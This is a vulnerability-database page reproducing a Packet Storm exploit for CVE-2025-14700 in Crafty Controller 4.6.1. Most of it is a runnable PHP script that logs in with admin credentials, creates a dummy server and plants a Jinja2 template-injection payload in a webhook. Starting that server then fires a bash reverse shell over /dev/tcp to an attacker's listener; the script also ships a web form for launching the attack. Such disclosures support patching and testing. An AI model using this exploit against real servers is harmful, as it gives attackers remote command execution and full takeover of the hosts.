Lucene search
K

📄 Crafty Controller 4.6.1 Remote Code Execution / Server-Side Template Injection

🗓️ 23 Dec 2025 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 371 Views

Crafty Controller 4.6.1 enables authenticated remote code execution via server-side template injection in webhook configuration.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-14700
17 Dec 202501:34
circl
CNNVD
Crafty Controller 安全漏洞
17 Dec 202500:00
cnnvd
CVE
CVE-2025-14700
17 Dec 202500:04
cve
Cvelist
CVE-2025-14700 Improper Neutralization of Special Elements Used in a Template Engine in Crafty Controller
17 Dec 202500:04
cvelist
GithubExploit
Exploit for CVE-2025-14700
17 Dec 202520:10
githubexploit
EUVD
EUVD-2025-203859
17 Dec 202500:04
euvd
NVD
CVE-2025-14700
17 Dec 202501:15
nvd
OSV
CVE-2025-14700 Improper Neutralization of Special Elements Used in a Template Engine in Crafty Controller
17 Dec 202500:04
osv
Positive Technologies
PT-2025-51794
17 Dec 202500:00
ptsecurity
RedhatCVE
CVE-2025-14700
18 Dec 202500:35
redhatcve
Rows per page
=============================================================================================================================================
    | # Title     : Crafty Controller 4.6.1 authenticated RCE via Server-Side Template Injection                                                |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://craftycontrol.com/                                                                                                  |
    =============================================================================================================================================
    
    [+] References :  https://packetstorm.news/files/id/213042/ & 	CVE-2025-14700
    
    [+] Summary    : This PHP script is a complete port of a Python exploit targeting CVE-2025-14700, a critical vulnerability in the Crafty Controller Minecraft server management platform. 
                     The exploit chain allows authenticated remote attackers to execute arbitrary system commands on the target server through Server-Side Template Injection (SSTI) in the webhook configuration feature.
    
    [+] Exploitation Chain:
    
    1- Authentication Bypass & Token Harvesting
    
    Retrieves initial XSRF token from login page
    
    Authenticates with admin credentials to obtain JWT token
    
    Maintains session cookies throughout the attack
    
    2- Server Creation for Payload Delivery
    
    Creates a dummy Minecraft server via API
    
    Required to access the vulnerable webhook configuration endpoint
    
    3- SSTI Payload Injection
    
    Injects malicious Jinja2 template into Discord webhook configuration
    
    Uses cycler.__init__.__globals__.os.system() to escape template sandbox
    
    Embeds reverse shell command for remote access
    
    4- Triggering the Vulnerability
    
    Emulates browser requests to trigger server start action
    
    Executes EULA confirmation to initialize the server
    
    The template is rendered during server initialization, executing the payload
    
    [+] Technical Details:
    
    Vulnerable Component: Webhook configuration in /api/v2/servers/{id}/webhook
    
    Attack Vector: Authenticated SSTI → RCE
    
    Privileges Required: Admin credentials
    
    Impact: Full system compromise via reverse shell
    
    Default Port: 8443 (HTTPS)
    
    
    [+]  CODE : php exploit.php --url=https://target.com:8443 --login=admin --password=password --lhost=192.168.1.100 --lport=4444
    
    <?php
    
    
    error_reporting(E_ALL);
    ini_set('display_errors', 1);
    
    // Reverse Shell Template
    define('REVSHELL_TEMPLATE', "bash -c 'bash -i >/dev/tcp/%s/%d 0<&1 2>&1'");
    
    class CraftyExploit {
        private $url;
        private $login;
        private $password;
        private $lhost;
        private $lport;
        private $session;
        private $cookies;
        
        public function __construct($url, $login, $password, $lhost, $lport) {
            $this->url = rtrim($url, '/');
            $this->login = $login;
            $this->password = $password;
            $this->lhost = $lhost;
            $this->lport = $lport;
            $this->session = curl_init();
            $this->cookies = [];
            
            // Configure cURL options
            curl_setopt($this->session, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($this->session, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($this->session, CURLOPT_SSL_VERIFYHOST, false);
            curl_setopt($this->session, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($this->session, CURLOPT_HEADER, true);
            curl_setopt($this->session, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
        }
        
        private function request($method, $endpoint, $data = null, $headers = [], $returnHeaders = false) {
            $url = $this->url . $endpoint;
            
            curl_setopt($this->session, CURLOPT_URL, $url);
            curl_setopt($this->session, CURLOPT_CUSTOMREQUEST, $method);
            
            // Set headers
            $defaultHeaders = [
                'Accept: application/json, text/plain, */*',
                'Accept-Language: en-US,en;q=0.9',
                'Connection: keep-alive',
            ];
            
            $allHeaders = array_merge($defaultHeaders, $headers);
            curl_setopt($this->session, CURLOPT_HTTPHEADER, $allHeaders);
            
            // Set cookies if any
            if (!empty($this->cookies)) {
                $cookieStr = '';
                foreach ($this->cookies as $name => $value) {
                    $cookieStr .= "$name=$value; ";
                }
                curl_setopt($this->session, CURLOPT_COOKIE, trim($cookieStr));
            }
            
            // Set POST data
            if ($method === 'POST' && $data !== null) {
                if (isset($headers['Content-Type']) && strpos($headers['Content-Type'], 'application/json') !== false) {
                    curl_setopt($this->session, CURLOPT_POSTFIELDS, json_encode($data));
                } else {
                    curl_setopt($this->session, CURLOPT_POSTFIELDS, $data);
                }
            }
            
            $response = curl_exec($this->session);
            
            if ($response === false) {
                echo "cURL Error: " . curl_error($this->session) . "\n";
                return false;
            }
            
            // Parse response
            $headerSize = curl_getinfo($this->session, CURLINFO_HEADER_SIZE);
            $headers = substr($response, 0, $headerSize);
            $body = substr($response, $headerSize);
            
            // Update cookies from response
            $this->parseCookies($headers);
            
            // Create response object
            $result = [
                'status_code' => curl_getinfo($this->session, CURLINFO_HTTP_CODE),
                'headers' => $headers,
                'body' => $body,
                'request_url' => $url,
                'request_method' => $method
            ];
            
            if ($returnHeaders) {
                return $result;
            }
            
            return $body;
        }
        
        private function parseCookies($headers) {
            $lines = explode("\n", $headers);
            foreach ($lines as $line) {
                if (stripos($line, 'Set-Cookie:') === 0) {
                    $cookie = trim(substr($line, 11));
                    $parts = explode(';', $cookie);
                    $cookiePair = explode('=', $parts[0], 2);
                    if (count($cookiePair) === 2) {
                        $this->cookies[$cookiePair[0]] = $cookiePair[1];
                    }
                }
            }
        }
        
        private function printDebugInfo($response) {
            echo "\n" . str_repeat("=", 80) . "\n";
            echo "[{$response['request_method']}] {$response['request_url']} -> HTTP {$response['status_code']}\n";
            echo str_repeat("-", 20) . " [KEY HEADERS VALIDATION] " . str_repeat("-", 20) . "\n";
            
            // Important headers to display
            $importantHeaders = ['token', 'X-XSRFToken', 'Authorization', 'Cookie', 'Referer', 'Content-Type'];
            $headers = $this->parseResponseHeaders($response['headers']);
            
            foreach ($importantHeaders as $h) {
                $hLower = strtolower($h);
                foreach ($headers as $headerName => $headerValue) {
                    if (strtolower($headerName) === $hLower) {
                        echo "$h: $headerValue\n";
                        break;
                    }
                }
            }
            
            echo str_repeat("-", 20) . " [RESPONSE BODY] " . str_repeat("-", 25) . "\n";
            
            // Try to decode JSON
            $json = json_decode($response['body'], true);
            if (json_last_error() === JSON_ERROR_NONE) {
                echo json_encode($json, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE) . "\n";
            } else {
                // Truncate output if it's not JSON
                echo (strlen($response['body']) > 200) ? substr($response['body'], 0, 200) . "..." : $response['body'];
                if (empty($response['body'])) {
                    echo "(Empty Body)";
                }
                echo "\n";
            }
            
            echo str_repeat("=", 80) . "\n\n";
        }
        
        private function parseResponseHeaders($headers) {
            $parsed = [];
            $lines = explode("\n", $headers);
            foreach ($lines as $line) {
                if (strpos($line, ':') !== false) {
                    list($name, $value) = explode(':', $line, 2);
                    $parsed[trim($name)] = trim($value);
                }
            }
            return $parsed;
        }
        
        public function apiLogin() {
            echo "[*] STEP 1: Visiting login page to retrieve initial _xsrf cookie...\n";
            
            // Get initial XSRF token
            $response = $this->request('GET', '/login', null, [], true);
            $xsrf = $this->cookies['_xsrf'] ?? '';
            
            echo "[*] STEP 2: Executing authentication (XSRF: " . substr($xsrf, 0, 15) . "...)\n";
            
            $endpoint = '/api/v2/auth/login/';
            $headers = [
                'Content-Type: application/json',
                'X-XSRFToken: ' . $xsrf,
                'Referer: ' . $this->url . '/login?next=%2Fpanel%2Fdashboard',
                'Origin: ' . $this->url
            ];
            
            $data = [
                'username' => $this->login,
                'password' => $this->password
            ];
            
            $response = $this->request('POST', $endpoint, $data, $headers, true);
            $this->printDebugInfo($response);
            
            $responseData = json_decode($response['body'], true);
            
            if ($response['status_code'] == 200 && 
                isset($responseData['status']) && 
                $responseData['status'] == 'ok' &&
                isset($responseData['data']['token'])) {
                return $responseData['data']['token'];
            }
            
            die("[FATAL] Login failed. Please check credentials or target connectivity.\n");
        }
        
        public function createServer($jwtToken) {
            echo "[*] STEP 3: Creating exploit dummy server...\n";
            
            $endpoint = '/api/v2/servers';
            $xsrf = $this->cookies['_xsrf'] ?? '';
            
            $headers = [
                'Content-Type: application/json',
                'Authorization: Bearer ' . $jwtToken,
                'X-XSRFToken: ' . $xsrf,
                'Referer: ' . $this->url . '/panel/dashboard'
            ];
            
            $data = [
                'name' => 'CVE_2025_14700_Exploit_Automation',
                'monitoring_type' => 'minecraft_java',
                'minecraft_java_monitoring_data' => ['host' => '127.0.0.1', 'port' => 25565],
                'create_type' => 'minecraft_java',
                'minecraft_java_create_data' => [
                    'create_type' => 'download_jar',
                    'download_jar_create_data' => [
                        'category' => 'mc_java_servers',
                        'type' => 'paper',
                        'version' => '1.18.2',
                        'mem_min' => 1,
                        'mem_max' => 2,
                        'server_properties_port' => 25565
                    ]
                ]
            ];
            
            $response = $this->request('POST', $endpoint, $data, $headers, true);
            $this->printDebugInfo($response);
            
            $responseData = json_decode($response['body'], true);
            
            if (isset($responseData['data']['new_server_id'])) {
                return $responseData['data']['new_server_id'];
            }
            
            die("[FATAL] Failed to create server.\n");
        }
        
        public function createHook($serverId, $lhost, $lport, $jwtToken) {
            echo "[*] STEP 4: Injecting SSTI Reverse Shell payload...\n";
            
            $endpoint = "/api/v2/servers/{$serverId}/webhook";
            $xsrf = $this->cookies['_xsrf'] ?? '';
            $revshellCmd = sprintf(REVSHELL_TEMPLATE, $lhost, $lport);
            
            // Jinja2 SSTI payload
            $payload = '{{ self._TemplateReference__context.cycler.__init__.__globals__.os.system("' . $revshellCmd . '") }}';
            
            $headers = [
                'Content-Type: application/json',
                'Authorization: Bearer ' . $jwtToken,
                'X-XSRFToken: ' . $xsrf,
                'Referer: ' . $this->url . '/panel/dashboard'
            ];
            
            $data = [
                'webhook_type' => 'Discord',
                'name' => 'Exploit_Trigger_Hook',
                'url' => 'https://localhost:8443/',
                'bot_name' => 'Crafty Bot',
                'trigger' => ['start_server'],
                'body' => $payload,
                'color' => '#c646000',
                'enabled' => true
            ];
            
            $response = $this->request('POST', $endpoint, $data, $headers, true);
            $this->printDebugInfo($response);
        }
        
        public function triggerExploit($serverId, $jwtToken) {
            echo "\n[*] STEP 5: Executing protocol-level trigger emulation (Critical Phase)...\n";
            
            $xsrf = $this->cookies['_xsrf'] ?? '';
            $host = parse_url($this->url, PHP_URL_HOST);
            
            // Set JWT in cookies
            $this->cookies['token'] = $jwtToken;
            
            // 1. Trigger Start Server Action
            $startUrl = "/api/v2/servers/{$serverId}/action/start_server";
            echo "[*] Sending start_server action request...\n";
            
            $headers = [
                'token: ' . $xsrf,
                'X-XSRFToken: ' . $xsrf,
                'X-Requested-With: XMLHttpRequest',
                'Origin: ' . $this->url,
                'Referer: ' . $this->url . '/panel/dashboard',
                'Accept: */*',
                'Accept-Encoding: gzip, deflate, br',
                'sec-ch-ua-platform: "Windows"'
            ];
            
            $response = $this->request('POST', $startUrl, '', $headers, true);
            $this->printDebugInfo($response);
            
            sleep(2);
            
            // 2. Trigger EULA Action
            $eulaUrl = "/api/v2/servers/{$serverId}/action/eula";
            echo "[*] Sending EULA confirmation action request...\n";
            
            $this->request('POST', $eulaUrl, '', $headers, false);
            
            echo "\n[+] POC Execution completed. Check your nc listener ({$this->lhost}:{$this->lport}).\n";
        }
        
        public function run() {
            $jwt = $this->apiLogin();
            $serverId = $this->createServer($jwt);
            $this->createHook($serverId, $this->lhost, $this->lport, $jwt);
            $this->triggerExploit($serverId, $jwt);
        }
        
        public function __destruct() {
            if (is_resource($this->session)) {
                curl_close($this->session);
            }
        }
    }
    
    // Command line interface
    if (PHP_SAPI === 'cli') {
        $options = getopt('u:l:p:lh:lp:', [
            'url:', 'login:', 'password:', 'lhost:', 'lport:'
        ]);
        
        $url = $options['u'] ?? $options['url'] ?? null;
        $login = $options['l'] ?? $options['login'] ?? null;
        $password = $options['p'] ?? $options['password'] ?? null;
        $lhost = $options['lh'] ?? $options['lhost'] ?? null;
        $lport = $options['lp'] ?? $options['lport'] ?? null;
        
        if (!$url || !$login || !$password || !$lhost || !$lport) {
            echo "Usage: php " . basename(__FILE__) . " [options]\n";
            echo "Options:\n";
            echo "  -u, --url        Target base URL (e.g., https://10.67.3.77:8443)\n";
            echo "  -l, --login      Admin username\n";
            echo "  -p, --password   Admin password\n";
            echo "  -lh, --lhost     Local listener IP\n";
            echo "  -lp, --lport     Local listener port\n";
            exit(1);
        }
        
        $exploit = new CraftyExploit($url, $login, $password, $lhost, (int)$lport);
        $exploit->run();
    } else {
        // Web interface (optional)
        echo "<pre>";
        if ($_SERVER['REQUEST_METHOD'] === 'POST') {
            $url = $_POST['url'] ?? '';
            $login = $_POST['login'] ?? '';
            $password = $_POST['password'] ?? '';
            $lhost = $_POST['lhost'] ?? '';
            $lport = $_POST['lport'] ?? '';
            
            if ($url && $login && $password && $lhost && $lport) {
                $exploit = new CraftyExploit($url, $login, $password, $lhost, (int)$lport);
                $exploit->run();
            } else {
                echo "Please fill all fields.\n";
            }
        }
        echo "</pre>";
        ?>
        <!DOCTYPE html>
        <html>
        <head>
            <title>CVE-2025-14700 Exploit</title>
        </head>
        <body>
            <h2>CVE-2025-14700 Exploit Interface</h2>
            <form method="POST">
                URL: <input type="text" name="url" size="50" placeholder="https://10.67.3.77:8443"><br><br>
                Login: <input type="text" name="login"><br><br>
                Password: <input type="password" name="password"><br><br>
                LHOST: <input type="text" name="lhost" placeholder="192.168.1.100"><br><br>
                LPORT: <input type="text" name="lport" placeholder="4444"><br><br>
                <input type="submit" value="Execute">
            </form>
        </body>
        </html>
        <?php
    }
    ?>
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation